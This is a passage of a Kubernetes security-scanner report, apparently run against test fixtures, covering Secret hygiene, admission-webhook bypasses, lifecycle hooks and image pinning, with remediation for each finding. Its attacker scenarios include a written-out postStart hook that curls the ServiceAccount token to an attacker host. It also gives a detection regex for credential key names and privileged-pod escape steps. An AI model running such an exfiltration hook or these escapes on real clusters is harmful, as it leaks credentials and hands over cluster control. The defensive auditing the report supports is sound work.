  4. Remove the credential keys from vulnerable/app-config. Verify the consumer still works (kubectl rollout status).
  5. Wire prevention: a Kyverno cluster policy that warns on ConfigMap.data keys matching password|secret|token|credential|api_?key|access_?key|client_secret|connection_string|dsn. Pair with External Secrets Operator so the right path of least resistance is to use a real secret store.
Evidence
Matched keysapi_tokendb_password
Show raw JSON
{
  "matched_keys": [
    "api_token",
    "db_password"
  ]
}
MEDIUM

TLS Secret secrets-bundle/ingress-tls expired 1012d ago (NotAfter=2024-01-01T00:00:00Z)

KUBE-SECRETS-TLS-EXPIRY-001 1 subject Score 5.6

Affected subject

MEDIUM Secret/secrets-bundle/ingress-tls Object 5.6
TLS Secret secrets-bundle/ingress-tls expired 1012d ago (NotAfter=2024-01-01T00:00:00Z)
Scope · Object Secret secrets-bundle/ingress-tls (type kubernetes.io/tls): every Service, Ingress, and webhook callsite that references this Secret will start failing TLS handshake at NotAfter unless the certificate is rotated.
Category: Data Exfiltration Resource: Secret/secrets-bundle/ingress-tls Namespace: secrets-bundle

Secret secrets-bundle/ingress-tls is a kubernetes.io/tls Secret and its certificate expired 1012d ago (NotAfter=2024-01-01T00:00:00Z). The expiry is read from the cert-manager.io/certificate-name + cert-manager.io/issuer-name family of annotations (the de-facto standard cert-manager and ArgoCD set on every TLS Secret they issue): cert-manager.io/not-after, cert-manager.io/notafter, or the legacy cert-manager.io/expiration annotation.

The secret's payload (tls.crt) is *not* read by the kubesplaining collector (see the privacy contract in CLAUDE.md: raw secret values are never collected). This rule is therefore a best-effort check based on annotations only: it fires on Secrets whose annotations report an expiry within the next 30 days or already in the past, and silently skips Secrets that have no parseable expiry annotation. A real PKI tool (cert-manager's Certificate CR controller, an external probe like cert-monitor, or kubectl cert-monitor) is the authoritative source.

Why this matters: an expired TLS Secret is the single most common cause of an Ingress / webhook outage that pages SREs at 3am. cert-manager auto-renews most certificates, but renewal can fail silently if (a) the Issuer is misconfigured, (b) the ACME challenge can't reach Let's Encrypt because of a NetworkPolicy change, (c) the Issuer's credentials have rotated, or (d) the Certificate CR was deleted but the Secret was kept. A 30-day window gives the platform team room to investigate and re-issue before the outage.

Impact Once secrets-bundle/ingress-tls expires, every consumer of the cert (Ingress backends, mutating/validating webhooks, mTLS sidecars, internal Service-to-Service callers) starts failing TLS handshake. For a webhook Secret this means every API admission call into the cluster fails until the cert is rotated.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. This is primarily an availability finding, not an attacker-driven one. The relevant 'attacker' is time.
  2. On the day the cert expires, every TLS handshake against the consumer of secrets-bundle/ingress-tls returns x509: certificate has expired.
  3. For an Ingress: external traffic gets a browser warning, then is rejected. For a mutating webhook: every kubectl apply for matching resources hits failed calling webhook ... x509.
  4. For internal Service-to-Service mTLS (Istio, Linkerd, application-level mTLS): connections start dropping; sidecars surface as TLS-handshake-failure spikes in mesh dashboards.
  5. Recovery is manual: re-issue the cert (cert-manager Force Renew annotation, or a fresh kubectl create secret tls) and roll the consumer pods.
Remediation
Re-issue the certificate before NotAfter. If secrets-bundle/ingress-tls is owned by cert-manager, force renewal; if it was created manually, replace it with a cert-manager Certificate CR so renewal is automatic.
  1. Identify the Issuer. kubectl get secret ingress-tls -n secrets-bundle -o jsonpath='{.metadata.annotations}' shows cert-manager.io/issuer-name and cert-manager.io/certificate-name if cert-manager owns the Secret.
  2. For cert-manager-owned Secrets, force renewal with cmctl renew <certificate-name> -n <ns> (or kubectl annotate certificate <name> cert-manager.io/issue-temporary-certificate=true). The Certificate controller will create a new CertificateRequest and refresh the Secret.
  3. For manually-created Secrets, prefer migrating to a cert-manager Certificate CR pointing at an Issuer / ClusterIssuer. The chart for most ingress / webhook deployments includes one. Re-create with kubectl apply -f instead of editing secrets-bundle/ingress-tls in place.
  4. Verify the cert-manager Issuer is healthy: kubectl get clusterissuer,issuer -A and check Ready condition. ACME failures (DNS, HTTP-01 challenge) are the most common renewal blockers.
  5. Wire prevention: enable cert-manager's cert-manager.io/private-key-rotation-policy: Always and renewBefore (default 360h ≈ 15d) on all Certificate CRs. Add a Prometheus alert on certmanager_certificate_expiration_timestamp_seconds < (time() + 30 * 24 * 3600).
Evidence
Typekubernetes.io/tls
TLS certificate + private key
days_to_expiry
"1012d"
expired
true
not_after
"2024-01-01T00:00:00Z"
Show raw JSON
{
  "days_to_expiry": "1012d",
  "expired": true,
  "not_after": "2024-01-01T00:00:00Z",
  "type": "kubernetes.io/tls"
}
LOW

Secret secrets-bundle/ingress-tls is not referenced by any Pod or ServiceAccount in the snapshot

KUBE-SECRETS-STALE-001 2 subjects Score 3.4
MITRE ATT&CK: T1552.001T1552.007

Affected subjects (2)

LOW Secret/secrets-bundle/ingress-tls Object 3.4
Secret secrets-bundle/ingress-tls is not referenced by any Pod or ServiceAccount in the snapshot
Scope · Object Secret secrets-bundle/ingress-tls: still readable by every subject with get/list secrets in secrets-bundle, but no observed workload mounts or consumes it
Category: Data Exfiltration Resource: Secret/secrets-bundle/ingress-tls Namespace: secrets-bundle

Secret secrets-bundle/ingress-tls (type kubernetes.io/tls) was not found referenced from any of the workload-spec entry points the snapshot collects: pod containers' env[].valueFrom.secretKeyRef, container-level envFrom[].secretRef, pod volumes[].secret.secretName, and ServiceAccount imagePullSecrets / secrets lists.

In a healthy cluster this almost always means one of: (a) a workload that used to mount the Secret was deleted but the Secret was not garbage-collected, (b) the Secret was created speculatively (a bootstrap step, a CI/CD seed) and never wired in, (c) a Helm release was uninstalled with --keep-history or via kubectl delete deployment instead of helm uninstall, leaving Secrets behind, or (d) the Secret is consumed *outside* the snapshot's view (a CronJob / Job / DaemonSet in another namespace, an external system reading via the API server using SA credentials).

Stale Secrets are an asymmetric risk. They contribute *nothing* to current operations but they are still readable by every subject with get/list secrets in the namespace (which the namespace-default view and edit cluster roles both grant). Rotating them is free of operational impact since no consumer breaks. Deleting them tightens the blast radius of a future credential-read compromise without any deployment risk. The only operational cost is verifying the Secret really has no consumer outside the snapshot's view.

Impact If secrets-bundle/ingress-tls holds a real credential (token, password, API key, kubeconfig, registry pull secret), it is still in the blast radius of every subject with get secrets in secrets-bundle even though no workload uses it. Compromise yields a credential the operator believes is decommissioned.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. Attacker compromises any subject with get secrets in secrets-bundle. Default view/edit cluster-role bindings, audit roles, debugging operators, helm-controller and external-secrets controller SAs all qualify.
  2. They kubectl get secret ingress-tls -n secrets-bundle -o yaml and decode data keys.
  3. They identify the credential class (token, kubeconfig, registry pull credentials, OAuth client secret) from the key shape.
  4. Because the Secret is unreferenced, no audit alert wires the read to a known consumer pattern: the access looks like a one-off get instead of a controller's expected token-refresh loop.
  5. They use the credential against the corresponding upstream system. The operator's team continues to assume the Secret is dormant and unused; rotation only happens if some unrelated audit catches the abuse.
Remediation
Confirm secrets-bundle/ingress-tls is genuinely unused (the snapshot may not have visibility into every consumer), then delete it. Treat the credential as compromised before rotation if the Secret has been long-lived.
  1. Confirm no out-of-snapshot consumer exists. kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == "ingress-tls" or .spec.containers[]?.env[]?.valueFrom?.secretKeyRef?.name == "ingress-tls" or .spec.containers[]?.envFrom[]?.secretRef?.name == "ingress-tls") | .metadata.namespace + "/" + .metadata.name'. Run for Jobs, CronJobs, and ServiceAccount imagePullSecrets too.
  2. Check change history (Argo / Flux / Helm) for the Secret name. Many stale Secrets are managed by GitOps and have a tracked owner; deleting them outside GitOps will cause the system to recreate them on the next sync.
  3. If you confirm no consumer, treat the credential as exposed (anyone with secret-read in secrets-bundle could have copied it). Rotate the upstream credential at its source (cloud IAM, registry, OIDC IDP).
  4. kubectl delete secret ingress-tls -n secrets-bundle. Watch for CrashLoopBackOff in the namespace for the next 24h, in case a Job or external system needed it.
  5. Wire prevention: schedule a periodic secrets-janitor Job that lists Secrets older than N days that no resource references, and emits a Slack/email warning. External tools like kor or secret-scanner automate this same check.
Evidence
Typekubernetes.io/tls
TLS certificate + private key
Show raw JSON
{
  "type": "kubernetes.io/tls"
}
LOW Secret/secrets-bundle/stale-creds Object 3.4
Secret secrets-bundle/stale-creds is not referenced by any Pod or ServiceAccount in the snapshot
Scope · Object Secret secrets-bundle/stale-creds: still readable by every subject with get/list secrets in secrets-bundle, but no observed workload mounts or consumes it
Category: Data Exfiltration Resource: Secret/secrets-bundle/stale-creds Namespace: secrets-bundle

Secret secrets-bundle/stale-creds (type Opaque) was not found referenced from any of the workload-spec entry points the snapshot collects: pod containers' env[].valueFrom.secretKeyRef, container-level envFrom[].secretRef, pod volumes[].secret.secretName, and ServiceAccount imagePullSecrets / secrets lists.

In a healthy cluster this almost always means one of: (a) a workload that used to mount the Secret was deleted but the Secret was not garbage-collected, (b) the Secret was created speculatively (a bootstrap step, a CI/CD seed) and never wired in, (c) a Helm release was uninstalled with --keep-history or via kubectl delete deployment instead of helm uninstall, leaving Secrets behind, or (d) the Secret is consumed *outside* the snapshot's view (a CronJob / Job / DaemonSet in another namespace, an external system reading via the API server using SA credentials).

Stale Secrets are an asymmetric risk. They contribute *nothing* to current operations but they are still readable by every subject with get/list secrets in the namespace (which the namespace-default view and edit cluster roles both grant). Rotating them is free of operational impact since no consumer breaks. Deleting them tightens the blast radius of a future credential-read compromise without any deployment risk. The only operational cost is verifying the Secret really has no consumer outside the snapshot's view.

Impact If secrets-bundle/stale-creds holds a real credential (token, password, API key, kubeconfig, registry pull secret), it is still in the blast radius of every subject with get secrets in secrets-bundle even though no workload uses it. Compromise yields a credential the operator believes is decommissioned.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. Attacker compromises any subject with get secrets in secrets-bundle. Default view/edit cluster-role bindings, audit roles, debugging operators, helm-controller and external-secrets controller SAs all qualify.
  2. They kubectl get secret stale-creds -n secrets-bundle -o yaml and decode data keys.
  3. They identify the credential class (token, kubeconfig, registry pull credentials, OAuth client secret) from the key shape.
  4. Because the Secret is unreferenced, no audit alert wires the read to a known consumer pattern: the access looks like a one-off get instead of a controller's expected token-refresh loop.
  5. They use the credential against the corresponding upstream system. The operator's team continues to assume the Secret is dormant and unused; rotation only happens if some unrelated audit catches the abuse.
Remediation
Confirm secrets-bundle/stale-creds is genuinely unused (the snapshot may not have visibility into every consumer), then delete it. Treat the credential as compromised before rotation if the Secret has been long-lived.
  1. Confirm no out-of-snapshot consumer exists. kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == "stale-creds" or .spec.containers[]?.env[]?.valueFrom?.secretKeyRef?.name == "stale-creds" or .spec.containers[]?.envFrom[]?.secretRef?.name == "stale-creds") | .metadata.namespace + "/" + .metadata.name'. Run for Jobs, CronJobs, and ServiceAccount imagePullSecrets too.
  2. Check change history (Argo / Flux / Helm) for the Secret name. Many stale Secrets are managed by GitOps and have a tracked owner; deleting them outside GitOps will cause the system to recreate them on the next sync.
  3. If you confirm no consumer, treat the credential as exposed (anyone with secret-read in secrets-bundle could have copied it). Rotate the upstream credential at its source (cloud IAM, registry, OIDC IDP).
  4. kubectl delete secret stale-creds -n secrets-bundle. Watch for CrashLoopBackOff in the namespace for the next 24h, in case a Job or external system needed it.
  5. Wire prevention: schedule a periodic secrets-janitor Job that lists Secrets older than N days that no resource references, and emits a Slack/email warning. External tools like kor or secret-scanner automate this same check.
Evidence
TypeOpaque
Generic key/value secret
Show raw JSON
{
  "type": "Opaque"
}

Admission Webhooks

3 findings · 3 rules · 0 critical · 1 high · 2 medium · 0 low
HIGH

MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources

KUBE-ADMISSION-001 1 subject Score 7.9
MITRE ATT&CK: T1562T1556T1525T1611

Affected subject

HIGH MutatingWebhookConfiguration/risky-ignore-webhook Cluster 7.9
MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources
Scope · Cluster MutatingWebhookConfiguration risky-ignore-webhook (webhook entry mutate.vulnerable.local): applies to admission across the entire cluster
Category: Infrastructure Modification Resource: MutatingWebhookConfiguration/risky-ignore-webhook

The webhook mutate.vulnerable.local in MutatingWebhookConfiguration/risky-ignore-webhook intercepts create/update on security-critical resources (pods, deployments, daemonsets, statefulsets, jobs, cronjobs, or podtemplates) but its failurePolicy is set to Ignore. The Kubernetes admission docs are explicit: Ignore means "any error from the webhook is silently ignored, and the API request is allowed to continue". In practice, this means that if the webhook backend is unavailable, slow, or denies the request with an error, the offending pod/workload is admitted as if no policy existed.

Concretely, if the policy backend pod crashes, is rolling, has a network partition, fails its own admission, or returns an HTTP 500, then any pod can ship. That includes pods that violate Pod Security Standards, run as root, mount the host filesystem, or use hostNetwork. Beyond that, an attacker who can already trigger a denial-of-service against the webhook backend (high traffic, OOM via large requests, killing its pods) can deliberately disable enforcement and then admit privileged pods.

The failurePolicy choice is one of two: Fail (deny when the webhook is unavailable: the conservative production default) or Ignore (allow when unavailable: only appropriate for non-security webhooks like cosmetic mutators). Security webhooks (PSA replacements, image signing, network-policy injection, secret encryption) should always use Fail paired with objectSelector/namespaceSelector carve-outs that ensure the policy backend itself can come up before any other workload is admitted.

Impact Any outage or DoS of the webhook backend silently disables policy enforcement cluster-wide on the targeted resources. Privileged pods, root containers, and PSS-violating workloads can be admitted while monitoring shows the webhook "installed."
How an attacker abuses this
  1. Attacker enumerates webhook configurations (kubectl get MutatingWebhookConfiguration) and identifies that risky-ignore-webhook has failurePolicy: Ignore.
  2. They induce backend failure: kill the webhook's backing pods if they have RBAC for it, send oversized AdmissionReview payloads to OOM the backend, or simply wait for a deploy-time outage.
  3. While the webhook is unhealthy, they apply a privileged pod manifest (hostPID, hostNetwork, hostPath /, runAsUser 0).
  4. The API server calls the webhook, gets a connection-refused/timeout error, applies Ignore, and admits the pod. There is no audit trail noting that the webhook was bypassed beyond the API-server logs (which most teams do not alert on).
  5. From the privileged pod the attacker pivots: chroot into /host for full node compromise, dump secrets, persist a daemonset.
Remediation
Switch mutate.vulnerable.local.failurePolicy to Fail and confirm the webhook backend has the availability/HA characteristics needed for the cluster's admission rate.
  1. Edit MutatingWebhookConfiguration/risky-ignore-webhook and set webhooks[name=mutate.vulnerable.local].failurePolicy: Fail.
  2. Make sure the webhook backend is highly available (≥2 replicas, PodDisruptionBudget, anti-affinity, dedicated nodepool if it is on the critical admission path).
  3. Add a namespaceSelector carve-out so the webhook does not fight itself during cold start (e.g., exclude the namespace where the webhook backend runs).
  4. Add a SLO/alert for AdmissionReview latency and 5xx rate; failure-mode is now "deploys halt" instead of "policy silently disabled," which is preferable but needs visible monitoring.
  5. Consider migrating PSS-style enforcement to the in-tree Pod Security Admission so you have a non-webhook backstop that remains active even if the webhook fails to come up.
Evidence
failurePolicyIgnore
Webhook failures are silently allowed (admission policy effectively off)
Webhook rules
CREATE on core/v1:pods (*)
webhook_index
0
webhook_name
"mutate.vulnerable.local"
Show raw JSON
{
  "failurePolicy": "Ignore",
  "rules": [
    {
      "apiGroups": [
        ""
      ],
      "apiVersions": [
        "v1"
      ],
      "operations": [
        "CREATE"
      ],
      "resources": [
        "pods"
      ],
      "scope": "*"
    }
  ],
  "webhook_index": 0,
  "webhook_name": "mutate.vulnerable.local"
}
MEDIUM

MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local exempts sensitive system namespaces via namespaceSelector

KUBE-ADMISSION-003 1 subject Score 6.4
MITRE ATT&CK: T1562T1611T1578

Affected subject

MEDIUM MutatingWebhookConfiguration/risky-ignore-webhook Cluster 6.4
MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local exempts sensitive system namespaces via namespaceSelector
Scope · Cluster MutatingWebhookConfiguration risky-ignore-webhook (webhook entry mutate.vulnerable.local): applies to admission across the entire cluster
Category: Infrastructure Modification Resource: MutatingWebhookConfiguration/risky-ignore-webhook

Webhook mutate.vulnerable.local in MutatingWebhookConfiguration/risky-ignore-webhook has a namespaceSelector that uses NotIn or DoesNotExist to exempt kube-system (or another *-system namespace) from admission control. The exemption is sometimes a deliberate cold-start workaround (the webhook backend itself runs in kube-system and would deadlock if the webhook applied to it), but it routinely outlives the cold-start need and is rarely revisited.

Sensitive namespaces are exactly where admission control matters most. kube-system hosts coredns, kube-proxy, the cloud-controller-manager, CNI agents, the metrics-server, and most clusters' add-on operators: workloads that already run with high privilege. An attacker who can create resources in kube-system (e.g., via a stolen system: ServiceAccount token, an over-permissive roles/clusterroles create rule, or a privileged operator) finds the admission webhooks deliberately turned off for them.

This is also a defense-in-depth gap: even if a future privesc finding (KUBE-PRIVESC-*) is mitigated, the namespace-selector exemption keeps the door open. The right pattern is to scope the exemption to the *single* control-plane namespace the backend itself needs (and only at boot), not to every -system namespace by suffix.

Impact An attacker who can create pods or other resources in the exempted system namespace bypasses every check this webhook implements: root containers, hostPath mounts, and arbitrary images all admit silently.
How an attacker abuses this
  1. Attacker compromises a workload with create pods permission scoped to kube-system (typical of operators, addon managers, or stolen control-plane tokens).
  2. They submit a pod manifest with hostPath: /, runAsUser: 0, and securityContext.privileged: true.
  3. The API server evaluates mutate.vulnerable.local's namespaceSelector, sees the exemption for kube-system, and admits the pod without invoking the webhook.
  4. The pod schedules on a control-plane-adjacent node, mounts the host root filesystem, and reads /etc/kubernetes/pki/* (etcd CA, apiserver cert, kubelet client cert).
  5. With those keys the attacker forges admin credentials and assumes full cluster control.
Remediation
Narrow mutate.vulnerable.local.namespaceSelector to the exact namespace the webhook backend needs to skip during cold start, or remove the exemption entirely once the backend is bootstrapped.
  1. Check why mutate.vulnerable.local excludes the namespace. Is it a cold-start workaround or a permanent carve-out?
  2. If cold-start: scope the exemption to the *exact* namespace the webhook backend runs in (e.g., kubernetes.io/metadata.name NotIn [policy-system]), not every *-system.
  3. If permanent carve-out: replace it with the in-tree Pod Security Admission level for that namespace so privileged pods still face *some* check.
  4. Validate by dry-running a privileged pod manifest in the previously-exempted namespace; the webhook should now process the request.
  5. Wire a Kyverno or OPA Gatekeeper rule that fails any future webhook configuration that exempts kube-system or a *-system namespace without a documented justification annotation.
Evidence
namespaceSelector
label kubernetes.io/metadata.name is NOT one of [kube-system]
excluded_namespace
"kube-system"
expr_index
0
value_index
0
webhook_index
0
webhook_name
"mutate.vulnerable.local"
Show raw JSON
{
  "excluded_namespace": "kube-system",
  "expr_index": 0,
  "namespaceSelector": {
    "matchExpressions": [
      {
        "key": "kubernetes.io/metadata.name",
        "operator": "NotIn",
        "values": [
          "kube-system"
        ]
      }
    ]
  },
  "value_index": 0,
  "webhook_index": 0,
  "webhook_name": "mutate.vulnerable.local"
}
MEDIUM

MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local can be bypassed by omitting the workload-controlled labels in objectSelector

KUBE-ADMISSION-002 1 subject Score 6.1
MITRE ATT&CK: T1562T1556T1578

Affected subject

MEDIUM MutatingWebhookConfiguration/risky-ignore-webhook Cluster 6.1
MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local can be bypassed by omitting the workload-controlled labels in objectSelector
Scope · Cluster MutatingWebhookConfiguration risky-ignore-webhook (webhook entry mutate.vulnerable.local): applies to admission across the entire cluster
Category: Infrastructure Modification Resource: MutatingWebhookConfiguration/risky-ignore-webhook

Webhook mutate.vulnerable.local in MutatingWebhookConfiguration/risky-ignore-webhook uses an objectSelector, which limits its admission rules to objects whose own labels match the selector. Because Kubernetes lets the workload author set arbitrary labels on the object they are creating, an objectSelector that gates security policy is opt-in: an attacker (or a careless developer) creates the same pod without the matching labels and the webhook never sees it.

This is structurally different from namespaceSelector (which gates by namespace labels; namespaces are a higher-trust object that workload authors typically can't relabel). objectSelector checks the labels on the resource being admitted, so a pod manifest that simply omits the policy's gating label slips past untouched. The Kubernetes API reference notes this explicitly: "If you skip the security label, the webhook is not called."

For policy-enforcing webhooks (PSS replacements, image-signing, sidecar injection of security tooling) this is the wrong tool. The right pattern is to inversely scope the webhook: select *all* objects (objectSelector: {} or absent) and use a namespaceSelector plus carefully targeted opt-out labels (e.g., policy.example.com/exempt: true) that are themselves gated by RBAC on the namespace, not on the pod author.

Impact Workload authors (legitimate or hostile) can opt out of admission enforcement simply by not setting the gating labels on their pods. This defeats the point of the webhook for any user with create permission on the targeted resources.
How an attacker abuses this
  1. Attacker reads MutatingWebhookConfiguration/risky-ignore-webhook and notes the objectSelector requires e.g. app.kubernetes.io/managed-by: platform.
  2. They author a pod manifest that omits the app.kubernetes.io/managed-by label entirely.
  3. They kubectl apply it; the API server evaluates the objectSelector, finds it does not match, skips the webhook, and admits the pod.
  4. The pod runs with whatever the namespace defaults allow, including PSS-violating settings the webhook was supposed to block.
  5. Because nothing logs "webhook skipped due to objectSelector," the bypass is invisible in the SIEM unless the team explicitly audits AdmissionReview misses.
Remediation
Replace objectSelector-based gating on mutate.vulnerable.local with namespaceSelector plus an RBAC-protected exemption label, or remove the selector and let the webhook see every object.
  1. Audit what mutate.vulnerable.local is trying to gate. If the goal is "only apply to pods in tenant namespaces," use namespaceSelector (namespace labels are higher-trust).
  2. If you need an exemption mechanism, add a policy.example.com/exempt: true label *on the namespace* and protect it with RBAC so workload authors cannot grant their own exemption.
  3. Edit MutatingWebhookConfiguration/risky-ignore-webhook and either drop webhooks[name=mutate.vulnerable.local].objectSelector or invert it to a default-on form.
  4. Re-test by attempting to create a pod that previously bypassed admission; it should now be evaluated.
  5. If the webhook ships with the cluster's admission stack, document the new exemption flow so platform users know how to request one.
Evidence
objectSelector
label admission = enabled
webhook_index
0
webhook_name
"mutate.vulnerable.local"
Show raw JSON
{
  "objectSelector": {
    "matchLabels": {
      "admission": "enabled"
    }
  },
  "webhook_index": 0,
  "webhook_name": "mutate.vulnerable.local"
}

Container Security

74 findings · 4 rules · 0 critical · 0 high · 39 medium · 35 low
MEDIUM

Container app in Deployment/containersec-fixtures/containersec-lifecycle runs a postStart lifecycle exec hook

KUBE-CONTAINER-LIFECYCLE-001 1 subject Score 5.5
MITRE ATT&CK: T1059T1554T1611

Affected subject

MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.5
Container app in Deployment/containersec-fixtures/containersec-lifecycle runs a postStart lifecycle exec hook
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle declares a lifecycle.postStart.exec handler that invokes sh -c touch /tmp/started && echo postStart-ran > /tmp/postStart.log. Lifecycle exec hooks run inside the container at well-defined points (postStart immediately after the container is created, preStop immediately before termination) using the kubelet's exec stream, which means they execute as PID 1's effective user but completely outside the application's own observability and audit trail.

There are two distinct risk patterns. The first is *persistence and configuration drift*: an exec hook is the simplest way to mutate a container at runtime in a way that survives no Git review (the hook string lives in the PodSpec, but nothing forces it to be a small wrapper script). A common production smell is a postStart hook that fetches additional secrets, edits config files, or installs extra packages with apt-get; those mutations skip the image-signing pipeline, leave no audit-log entry, and frequently disable security controls the image build set up.

The second is *attack surface and detection bypass*. Lifecycle exec runs invisibly to most container EDR tooling: Falco's default rules treat exec-from-kubelet differently from in-container shell spawns, and many SIEM pipelines drop these events as "infrastructure noise." An attacker who can mutate the PodSpec (compromised CI, modified Helm chart, exposed Argo CD) can add a preStop hook that exfiltrates secrets when the pod is terminated for any reason (rollout, eviction, node drain), giving them a stealthy persistent foothold tied to normal cluster operations.

Impact Lifecycle exec runs outside the application's observability surface and is frequently used to mutate container state at runtime, persist attacker-controlled changes, or exfiltrate secrets on graceful termination.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the PodSpec source (compromised CI runner, mis-scoped ArgoCD App, leaked Helm values).
  2. They add or modify the lifecycle.postStart.exec.command to ["sh","-c","curl -d @/var/run/secrets/kubernetes.io/serviceaccount/token https://attacker.example/x"].
  3. On the next rollout the new pods execute the hook; the existing pods execute the preStop variant when they are evicted during the rollout.
  4. The kubelet executes the command as the container's primary user. The application logs are empty (the app process never saw the request), and most container EDR rules ignore kubelet-exec.
  5. Attacker harvests the ServiceAccount token, the projected volume secrets, and any file the application user can read. The trail in the cluster audit log is one routine update to the Deployment.
Remediation
Move the work performed by the postStart hook into the image (build-time) or an init container; if the hook is genuinely required, make it a small auditable script under source control.
  1. Audit what postStart is doing. Common offenders: fetching secrets, editing config files, registering with a service mesh, warming a cache.
  2. Move build-time mutations into the image build itself. Anything that hits the network at postStart belongs in a sidecar or an init container with explicit RBAC.
  3. If the hook is genuinely needed, replace inline sh -c "..." commands with a small shell script baked into the image (e.g. /usr/local/bin/poststart.sh) so reviewers see exactly one auditable file.
  4. Add Kyverno (disallow-lifecycle-exec or a tighter validate that bans sh -c inline) to keep regressions out.
  5. Wire Falco / runtime-EDR to alert on kubelet-driven exec into long-running pods; treat lifecycle exec the same as a manual kubectl exec.
Evidence
Containerapp
command
"sh -c touch /tmp/started \u0026\u0026 echo postStart-ran \u003e /tmp/postStart.log"
hook
"postStart"
Show raw JSON
{
  "command": "sh -c touch /tmp/started \u0026\u0026 echo postStart-ran \u003e /tmp/postStart.log",
  "container": "app",
  "hook": "postStart"
}
MEDIUM

Container app in Deployment/cloud-eks-test/imds-pivot-app uses image public.ecr.aws/aws-cli/aws-cli:latest without a digest pin

KUBE-CONTAINER-IMAGE-001 3 subjects Score 5.0
MITRE ATT&CK: T1525T1195.002T1554T1485

Affected subjects (3)

MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.0
Container app in Deployment/cloud-eks-test/imds-pivot-app uses image public.ecr.aws/aws-cli/aws-cli:latest without a digest pin
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app references image public.ecr.aws/aws-cli/aws-cli:latest by mutable tag and uses imagePullPolicy: Always. Mutable tags (:latest, :v1, :stable, any tag without an immutable @sha256: digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With imagePullPolicy: Always, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.

This is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (registry.example/app@sha256:abc123...): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.

Digest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno verifyImages policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.

Impact A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the registry hosting public.ecr.aws/aws-cli/aws-cli:latest (compromised CI bot account, leaked registry token, third-party base-image takeover).
  2. They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at public.ecr.aws/aws-cli/aws-cli:latest.
  3. They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.
  4. Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.
  5. Detection is hard: image hash in kubectl describe pod now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time.
Remediation
Pin public.ecr.aws/aws-cli/aws-cli:latest to an immutable digest (registry.example/app@sha256:...) and reduce dependence on imagePullPolicy: Always; verify with Sigstore / cosign at admission time.
  1. Resolve the current digest: crane digest public.ecr.aws/aws-cli/aws-cli:latest (or docker buildx imagetools inspect public.ecr.aws/aws-cli/aws-cli:latest for OCI multi-arch). Pin it: image: public.ecr.aws/aws-cli/aws-cli:latest@sha256:<digest>.
  2. Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before kubectl apply.
  3. Sign images with cosign sign and require signature verification at admission with a Kyverno verifyImages rule or Sigstore Policy Controller.
  4. Add a Kyverno cluster policy that disallows un-digested image references (require-image-digest).
  5. Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites.
Evidence
Containerapp
